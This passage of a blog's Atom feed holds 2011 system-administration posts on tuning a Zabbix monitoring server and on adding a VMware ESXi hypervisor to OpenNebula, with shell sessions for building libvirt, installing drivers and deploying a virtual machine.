href='http://redes-privadas-virtuales.blogspot.com/feeds/964133684451394984/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/08/tuning-zabbix-to-improve-its.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/964133684451394984'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/964133684451394984'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/08/tuning-zabbix-to-improve-its.html' title='Tuning Zabbix to improve its performance (II)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-6129235254671857804</id><published>2011-07-25T12:42:00.015+02:00</published><updated>2011-11-01T21:29:41.918+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Monitoring'/><category scheme='http://www.blogger.com/atom/ns#' term='Performance'/><title type='text'>Tuning Zabbix to improve its performance (I)</title><content type='html'>I am really looking forward to this article. I think it is going to be really useful for &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/05/zabbix-server-installation-on-ubuntu-i.html"&gt;Zabbix&lt;/a&gt; administrators.&lt;br /&gt;&lt;br /&gt;When you have to control a small group of machines, it is enough to install Zabbix (either from the repositories or the source code) and not modify any parameter. But when the number of monitored machines or items is very large, it is necessary to fit some values related to the operating system, the database and the Zabbix itself. Otherwise it is possible that your system acts up or the performance is not expected.&lt;br /&gt;&lt;br /&gt;Bellow you can see the status of my Zabbix server at work (Zabbix 1.8.5 with MySQL 5.1, on Ubuntu 11.04 - 64 bits). I am monitoring around 430 devices, between servers and switches, and you can distinguish that the requeried server performance (new values per second) is really huge: 1687.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-qJlLFVBy1Ig/Ti1LhrdbJzI/AAAAAAAAAmA/oPiwqQDIJAM/s1600/Status%2Bof%2BZabbix.jpg"&gt;&lt;img alt="" border="0" height="161" id="BLOGGER_PHOTO_ID_5633241750884263730" src="http://1.bp.blogspot.com/-qJlLFVBy1Ig/Ti1LhrdbJzI/AAAAAAAAAmA/oPiwqQDIJAM/s640/Status%2Bof%2BZabbix.jpg" style="display: block; height: 101px; margin: 0px auto 10px; text-align: center; width: 400px;" width="640" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This configuration would not be possible with a Zabbix base installation. Also point out the hardware features of the server: 4 vCPUs (2.66 GHz), 8 GB RAM and 254 GB of storage.&lt;br /&gt;&lt;br /&gt;First of all, we are going to take a look at several graphics of the server. Let's get started with the memory consumption during a typical day. The figure shows that the average available memory is around 1.73 GB and the system is not swapping.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-HkJW2FtgFJA/TjulKXAcZSI/AAAAAAAAAmw/8_u4Z10Y6SM/s1600/Zabbix%2Bmemory.jpg"&gt;&lt;img alt="" border="0" height="130" id="BLOGGER_PHOTO_ID_5637280955977458978" src="http://3.bp.blogspot.com/-HkJW2FtgFJA/TjulKXAcZSI/AAAAAAAAAmw/8_u4Z10Y6SM/s400/Zabbix%2Bmemory.jpg" style="display: block; height: 130px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regarding the CPU, I have chosen a period of 6 hours so as to explain the concept of &lt;span style="font-style: italic;"&gt;Housekeeping&lt;/span&gt; in Zabbix. As you can make out in the next chart, the normal use of CPU is about 20-25%, but each hour, there is a strong increment. This situation coincides with a rise of the Input/Output operations.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-GvZ-O-lkOu0/Ti1RLOxq_NI/AAAAAAAAAmQ/BIFpNn6UGuQ/s1600/Zabbix%2BCPU.jpg"&gt;&lt;img alt="" border="0" height="130" id="BLOGGER_PHOTO_ID_5633247962297203922" src="http://2.bp.blogspot.com/-GvZ-O-lkOu0/Ti1RLOxq_NI/AAAAAAAAAmQ/BIFpNn6UGuQ/s400/Zabbix%2BCPU.jpg" style="display: block; height: 130px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Housekeeping is a task run by Zabbix which takes care of removing the unnecessary data of the history, alerts and alarms tables. Taking a look at the zabbix log, you can find out how many records are deleted from the database.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@zbx01:~# egrep 'housekeeper|Deleted' /var/log/zabbix/zabbix_server.log&lt;br /&gt;1599:20110719:230307.692 Executing housekeeper&lt;br /&gt;1599:20110719:231127.392 Deleted 1522478 records from history and trends&lt;br /&gt;1599:20110720:001127.393 Executing housekeeper&lt;br /&gt;1599:20110720:001927.742 Deleted 1480673 records from history and trends&lt;br /&gt;...&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;This procedure is configured by means of different parameters into the &lt;span style="font-style: italic;"&gt;zabbix_server.conf&lt;/span&gt; file.&lt;br /&gt;&lt;br /&gt;Through the &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/12/linux-load-average.html"&gt;load average&lt;/a&gt; graph, we can also appreciate this issue, where the load average (1 min) reaches maximum increases of 1.30.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-0P7Iyrcs2Fw/Ti1SAlT_mkI/AAAAAAAAAmY/LTGuuZm3oJU/s1600/Zabbix%2Bload%2Baverage.jpg"&gt;&lt;img alt="" border="0" height="124" id="BLOGGER_PHOTO_ID_5633248878879808066" src="http://1.bp.blogspot.com/-0P7Iyrcs2Fw/Ti1SAlT_mkI/AAAAAAAAAmY/LTGuuZm3oJU/s400/Zabbix%2Bload%2Baverage.jpg" style="display: block; height: 124px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And finally, the following graphic represents the status of the Zabbix cache during a week. Its values are rightly suited too.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-0WsLteenJxw/Ti1TXC7ytVI/AAAAAAAAAmo/3lJluEfVnP8/s1600/Zabbix%2Bcache.jpg"&gt;&lt;img alt="" border="0" height="128" id="BLOGGER_PHOTO_ID_5633250364300113234" src="http://2.bp.blogspot.com/-0WsLteenJxw/Ti1TXC7ytVI/AAAAAAAAAmo/3lJluEfVnP8/s400/Zabbix%2Bcache.jpg" style="display: block; height: 128px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In the next article, I will teach how to set up correctly the parameters related to the Linux kernel, MySQL and Zabbix.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-6129235254671857804?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/6129235254671857804/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/07/tuning-zabbix-to-improve-its_25.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/6129235254671857804'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/6129235254671857804'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/07/tuning-zabbix-to-improve-its_25.html' title='Tuning Zabbix to improve its performance (I)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-qJlLFVBy1Ig/Ti1LhrdbJzI/AAAAAAAAAmA/oPiwqQDIJAM/s72-c/Status%2Bof%2BZabbix.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-2142272387467787043</id><published>2011-07-17T19:54:00.025+02:00</published><updated>2011-11-01T21:31:50.187+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cloud computing'/><category scheme='http://www.blogger.com/atom/ns#' term='Virtualization'/><title type='text'>Adding a VMware ESXi hypervisor to OpenNebula (III)</title><content type='html'>This is the last article about &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/07/adding-vmware-esxi-hypervisor-to_09.html"&gt;Adding a VMware ESXi hypervisor to OpenNebula&lt;/a&gt;. In this posting, we are going to build a virtual machine up on the &lt;i&gt;esxi01&lt;/i&gt; node.&lt;br /&gt;&lt;br /&gt;To begin with, I am going to download a virtual image from the &lt;a href="http://www.vmware.com/appliances/directory/"&gt;Virtual Appliances Marketplace&lt;/a&gt;, specifically an Ubuntu Server 8.04 LTS distribution (I will drop it off into the &lt;i&gt;tmp&lt;/i&gt; directory).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:/tmp/ubuntu-server-8.04.1-i386$ ls -lh&lt;br /&gt;total 529M&lt;br /&gt;-rw-rw-r-- 1 oneadmin cloud  269 2008-07-05 17:59 README-vmware-image.txt&lt;br /&gt;-rw------- 1 oneadmin cloud 8.5K 2008-07-05 17:59 ubuntu-server-8.04.1-i386.nvram&lt;br /&gt;-rw------- 1 oneadmin cloud 144M 2008-07-05 17:59 ubuntu-server-8.04.1-i386-s001.vmdk&lt;br /&gt;-rw------- 1 oneadmin cloud 207M 2008-07-05 17:59 ubuntu-server-8.04.1-i386-s002.vmdk&lt;br /&gt;-rw------- 1 oneadmin cloud 177M 2008-07-05 17:59 ubuntu-server-8.04.1-i386-s003.vmdk&lt;br /&gt;-rw------- 1 oneadmin cloud 1.8M 2008-07-05 17:59 ubuntu-server-8.04.1-i386-s004.vmdk&lt;br /&gt;-rw------- 1 oneadmin cloud  64K 2008-07-05 17:59 ubuntu-server-8.04.1-i386-s005.vmdk&lt;br /&gt;-rw------- 1 oneadmin cloud  592 2008-07-05 17:59 ubuntu-server-8.04.1-i386.vmdk&lt;br /&gt;-rw------- 1 oneadmin cloud    0 2008-07-05 17:59 ubuntu-server-8.04.1-i386.vmsd&lt;br /&gt;-rwxr-xr-x 1 oneadmin cloud 1.1K 2008-07-05 17:59 ubuntu-server-8.04.1-i386.vmx&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Then I am going to register the image in OpenNebula. For this purpose, it is necessary to define an &lt;a href="http://opennebula.org/documentation:rel2.2:img_template"&gt;image template&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:/tmp/ubuntu-server-8.04.1-i386$ cat ubuntu-server-8.04.img&lt;br /&gt;NAME        = "Ubuntu Server 8.04"&lt;br /&gt;DESCRIPTION = "Ubuntu Server 8.04 LTS (32 bits)"&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:/tmp/ubuntu-server-8.04.1-i386$ onevmware register --disk-vmdk ubuntu-server-8.04.1-i386.vmdk --disk-flat ubuntu-server-8.04.1-i386-s001.vmdk,ubuntu-server-8.04.1-i386-s002.vmdk,ubuntu-server-8.04.1-i386-s003.vmdk,ubuntu-server-8.04.1-i386-s004.vmdk,ubuntu-server-8.04.1-i386-s005.vmdk ubuntu-server-8.04.img&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;What happens now? We have a virtual image ready to be used. This image has been stored into the &lt;i&gt;images&lt;/i&gt; directory.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:~$ oneimage list&lt;br /&gt;ID     USER                 NAME TYPE              REGTIME PUB PER STAT  #VMS&lt;br /&gt; 0 oneadmin   Ubuntu Server 8.04   OS   Jul 02, 2011 10:34  No  No  rdy     0&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~$ ls -l var/images/0ffb8867916a29e279e5ac2374833faa84fe5193/&lt;br /&gt;total 540740&lt;br /&gt;-rw-rw---- 1 oneadmin cloud       592 2011-07-02 12:34 disk.vmdk&lt;br /&gt;-rw-rw---- 1 oneadmin cloud 150339584 2011-07-02 12:34 ubuntu-server-8.04.1-i386-s001.vmdk&lt;br /&gt;-rw-rw---- 1 oneadmin cloud 216268800 2011-07-02 12:35 ubuntu-server-8.04.1-i386-s002.vmdk&lt;br /&gt;-rw-rw---- 1 oneadmin cloud 185204736 2011-07-02 12:36 ubuntu-server-8.04.1-i386-s003.vmdk&lt;br /&gt;-rw-rw---- 1 oneadmin cloud   1835008 2011-07-02 12:37 ubuntu-server-8.04.1-i386-s004.vmdk&lt;br /&gt;-rw-rw---- 1 oneadmin cloud     65536 2011-07-02 12:37 ubuntu-server-8.04.1-i386-s005.vmdk&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;What is the next step? Easy, to make up a &lt;a href="http://opennebula.org/documentation:rel2.2:vgg"&gt;virtual network&lt;/a&gt; so as to be able to connect our future virtual machine on it. In my example, I have created a simple ranged network called &lt;i&gt;ESXi Network&lt;/i&gt;. You can review the different parameters by taking a look at the exposed link in this paragraph.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:~$ mkdir templates ; cd templates&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~/templates$ cat esxi.net&lt;br /&gt;NAME            = "ESXi Network"&lt;br /&gt;TYPE            = RANGED&lt;br /&gt;PUBLIC          = NO&lt;br /&gt;BRIDGE          = "VM Network"&lt;br /&gt;NETWORK_ADDRESS = 192.168.1.160&lt;br /&gt;NETWORK_SIZE    = 16&lt;br /&gt;NETMASK         = 255.255.255.0&lt;br /&gt;GATEWAY         = 192.168.1.1&lt;br /&gt;DNS             = 194.30.0.1&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~/templates$ onevnet create esxi.net&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~/templates$ onevnet list&lt;br /&gt;ID USER     NAME              TYPE BRIDGE P #LEASES&lt;br /&gt; 0 oneadmin ESXi Network    Ranged VM Net N       0&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And finally, we must just set up an &lt;a href="http://opennebula.org/documentation:rel2.2:template"&gt;instance template&lt;/a&gt; in order to declare the features of our virtual machine. Also point out that a virtual machine is known as instance as well.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:~/templates$ cat ubuntu-server01.vm&lt;br /&gt;NAME   = "UbuntuServer-01"&lt;br /&gt;CPU    = 1&lt;br /&gt;MEMORY = 512&lt;br /&gt;&lt;br /&gt;DISK   = [ IMAGE  = "Ubuntu Server 8.04",&lt;br /&gt;           TARGET = hda ]&lt;br /&gt;&lt;br /&gt;NIC    = [ NETWORK = "ESXi Network" ]&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~/templates$ onevm create ubuntu-server01.vm&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~/templates$ onevm list&lt;br /&gt;ID     USER     NAME STAT CPU     MEM        HOSTNAME        TIME&lt;br /&gt; 0 oneadmin UbuntuSe pend   0      0K                 00 00:00:07&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;We can see in the output of the preceding &lt;i&gt;onevm list&lt;/i&gt; command that, the state of the instance is &lt;i&gt;pend&lt;/i&gt; (pending), that is to say, it is waiting to be deployed on a hypervisor, in my case, &lt;i&gt;esxi01&lt;/i&gt;. So let's go.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:~/templates$ onevm deploy 0 0&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~/templates$ onevm list&lt;br /&gt;ID     USER     NAME STAT CPU     MEM        HOSTNAME        TIME&lt;br /&gt; 0 oneadmin UbuntuSe prol   0      0K          esxi01 00 00:00:36&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~/templates$ onevm list&lt;br /&gt;ID     USER     NAME STAT CPU     MEM        HOSTNAME        TIME&lt;br /&gt; 0 oneadmin UbuntuSe boot   0      0K          esxi01 00 00:00:50&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~/templates$ onevm list&lt;br /&gt;ID     USER     NAME STAT CPU     MEM        HOSTNAME        TIME&lt;br /&gt; 0 oneadmin UbuntuSe runn   0      0K          esxi01 00 00:01:07&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;When we treat to deploy the virtual machine on the node, its first state is &lt;span style="font-style: italic;"&gt;prol&lt;/span&gt; (prolog), then it reaches a &lt;i&gt;boot&lt;/i&gt; state (booting), and lastly, &lt;i&gt;runn&lt;/i&gt; (running), once the instance has been started up.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-2142272387467787043?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/2142272387467787043/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/07/adding-vmware-esxi-hypervisor-to.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/2142272387467787043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/2142272387467787043'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/07/adding-vmware-esxi-hypervisor-to.html' title='Adding a VMware ESXi hypervisor to OpenNebula (III)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-7086562172475881157</id><published>2011-07-09T16:03:00.008+02:00</published><updated>2011-11-01T21:32:23.109+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cloud computing'/><category scheme='http://www.blogger.com/atom/ns#' term='Virtualization'/><title type='text'>Adding a VMware ESXi hypervisor to OpenNebula (II)</title><content type='html'>Let's go ahead with the development of the cloud computing infraestructure based on &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/06/cloud-computing-with-opennebula.html"&gt;OpenNebula&lt;/a&gt; by &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/07/adding-vmware-vsphere-hypervisor-to.html"&gt;adding a VMware ESXi hypervisor&lt;/a&gt;. In the previous article, we saw how to configure a VMware vSphere node and now, we are going to set up the needed part on &lt;span style="font-style: italic;"&gt;frontend01&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;In order to manage the VMware node from OpenNebula, it is necessary to install libvirt on &lt;i&gt;frontend01&lt;/i&gt;, and on top of all that, this software must be compiled with the ESX support. In this way, you cannot use the corresponding package located in the Ubuntu repositories. I am going to utilize the 0.9.2 version of libvirt.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@frontend01:~# aptitude install libgnutls-dev libdevmapper-dev libcurl4-gnutls-dev python-dev libnl-dev libapparmor-dev&lt;br /&gt;&lt;br /&gt;root@frontend01:/tmp# wget http://libvirt.org/sources/libvirt-0.9.2.tar.gz&lt;br /&gt;&lt;br /&gt;root@frontend01:/tmp# tar xvzf libvirt-0.9.2.tar.gz ; cd libvirt-0.9.2&lt;br /&gt;&lt;br /&gt;root@frontend01:/tmp/libvirt-0.9.2# ./configure --with-esx --with-apparmor --sysconfdir=/etc --libdir=/usr/lib --sbindir=/usr/sbin --datarootdir=/usr/share --localstatedir=/var --libexecdir=/usr/lib/libvirt&lt;br /&gt;&lt;br /&gt;root@frontend01:/tmp/libvirt-0.9.2# make ; make install&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;I have also compiled the source code with AppArmor support, so I have had to move the required files.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@frontend01:/tmp/libvirt-0.9.2# mkdir -p /etc/apparmor.d/libvirt&lt;br /&gt;&lt;br /&gt;root@frontend01:/tmp/libvirt-0.9.2# cp -a examples/apparmor/usr.* /etc/apparmor.d/&lt;br /&gt;root@frontend01:/tmp/libvirt-0.9.2# cp -a examples/apparmor/TEMPLATE /etc/apparmor.d/libvirt/&lt;br /&gt;root@frontend01:/tmp/libvirt-0.9.2# cp -a examples/apparmor/libvirt-qemu /etc/apparmor.d/abstractions/&lt;br /&gt;&lt;br /&gt;root@frontend01:/tmp/libvirt-0.9.2# cat /etc/apparmor.d/usr.sbin.libvirtd&lt;br /&gt;...&lt;br /&gt;owner /srv/cloud/one/var/** rw,&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;root@frontend01:/tmp/libvirt-0.9.2# /etc/init.d/apparmor restart&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Next step is to download and install the VMware Drivers Addon (version 2.2.0 in my case).  This wrapper enables the communication between OpenNebula and VMware ESXi through libvirt. This operation must be effected by means of the &lt;span style="font-style: italic;"&gt;oneadmin&lt;/span&gt; user.&lt;br /&gt;&lt;br /&gt;When you run the &lt;span style="font-style: italic;"&gt;install.sh&lt;/span&gt; script and if everything went well, you will get a message about a specific code that you have to add into the &lt;span style="font-style: italic;"&gt;oned.conf&lt;/span&gt; file.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:/tmp$ wget http://dev.opennebula.org/attachments/download/350/vmware-2.2.0.tar.gz&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:/tmp$ tar xvzf vmware-2.2.0.tar.gz ; cd vmware-2.2.0&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:/tmp/vmware-2.2.0$ ./install.sh&lt;br /&gt;VMWare Drivers Addon successfully installed&lt;br /&gt;&lt;br /&gt;# After the installation, please add the following to your oned.conf file&lt;br /&gt;# and restart OpenNebula to activate the VMware Drivers Addon&lt;br /&gt;&lt;br /&gt;#-------------------------------------------------------------------------------&lt;br /&gt;#  VMware Driver Addon Virtualization Driver Manager Configuration&lt;br /&gt;#-------------------------------------------------------------------------------&lt;br /&gt;VM_MAD = [&lt;br /&gt;name       = "vmm_vmware",&lt;br /&gt;executable = "one_vmm_sh",&lt;br /&gt;arguments  = "vmware",&lt;br /&gt;default    = "vmm_sh/vmm_sh_vmware.conf",&lt;br /&gt;type       = "vmware" ]&lt;br /&gt;#-------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;#-------------------------------------------------------------------------------&lt;br /&gt;#  VMware Driver Addon Information Driver Manager Configuration&lt;br /&gt;#-------------------------------------------------------------------------------&lt;br /&gt;IM_MAD = [&lt;br /&gt;name       = "im_vmware",&lt;br /&gt;executable = "one_im_sh",&lt;br /&gt;arguments  = "vmware" ]&lt;br /&gt;#-------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;#-------------------------------------------------------------------------------&lt;br /&gt;# VMware Driver Addon Transfer Manager Driver Configuration&lt;br /&gt;#-------------------------------------------------------------------------------&lt;br /&gt;TM_MAD = [&lt;br /&gt;name       = "tm_vmware",&lt;br /&gt;executable = "one_tm",&lt;br /&gt;arguments  = "tm_vmware/tm_vmware.conf" ]&lt;br /&gt;#-------------------------------------------------------------------------------&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Due to there is a mistake in the &lt;span style="font-style: italic;"&gt;install.sh&lt;/span&gt; script, you must execute manually the following two orders.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:/tmp/vmware-2.2.0$ mkdir -p $ONE_LOCATION/var/remotes/im/vmware.d &amp;amp;&amp;amp; cp -r im/remotes/* $ONE_LOCATION/var/remotes/im/vmware.d&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:/tmp/vmware-2.2.0$ mkdir -p $ONE_LOCATION/var/remotes/vmm/vmware &amp;amp;&amp;amp; cp -r vmm/remotes/* $ONE_LOCATION/var/remotes/vmm/vmware&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;This problem causes that you cannot start the VMware node up and the log file will show the next error.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:~$ cat var/oned.log&lt;br /&gt;...&lt;br /&gt;[ONE][E]: syntax error, unexpected $end, expecting VARIABLE at line 2, columns 1:2&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Before restarting OpenNebula, you must type the user and password used to access to &lt;span style="font-style: italic;"&gt;esxi01&lt;/span&gt; and include a line into the &lt;span style="font-style: italic;"&gt;sudoers&lt;/span&gt; file, so that OpenNebula may properly set some permissions.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:~$ cat etc/vmwarerc&lt;br /&gt;...&lt;br /&gt;USERNAME      = "oneadmin"&lt;br /&gt;PASSWORD      = "xxxxxx"&lt;br /&gt;&lt;br /&gt;root@frontend01:~# cat /etc/sudoers&lt;br /&gt;...&lt;br /&gt;oneadmin ALL=NOPASSWD:/srv/cloud/one/share/hooks/fix_owner_perms.sh ""&lt;br /&gt;&lt;br /&gt;root@frontend01:~# /etc/init.d/opennebula restart&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;So as to check the correct installation, run the following command. Thereby, you will be able to obtain the physical resources of the managed node.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:~$ lib/remotes/im/run_probes vmware esxi01&lt;br /&gt;/srv/cloud/one/lib/ruby/vmwarelib.rb:26: warning: already initialized constant ONE_LOCATION&lt;br /&gt;/srv/cloud/one/lib/ruby/vmwarelib.rb:32: warning: already initialized constant RUBY_LIB_LOCATION&lt;br /&gt;HYPERVISOR=vmware TOTALCPU=100 CPUSPEED=3001 TOTALMEMORY=2096460 FREEMEMORY=1677168&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now if you want to add the VMware vSphere node configured to OpenNebula, you can execute the next order.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:~$ onehost create esxi01 im_vmware vmm_vmware tm_vmware&lt;br /&gt;&lt;br 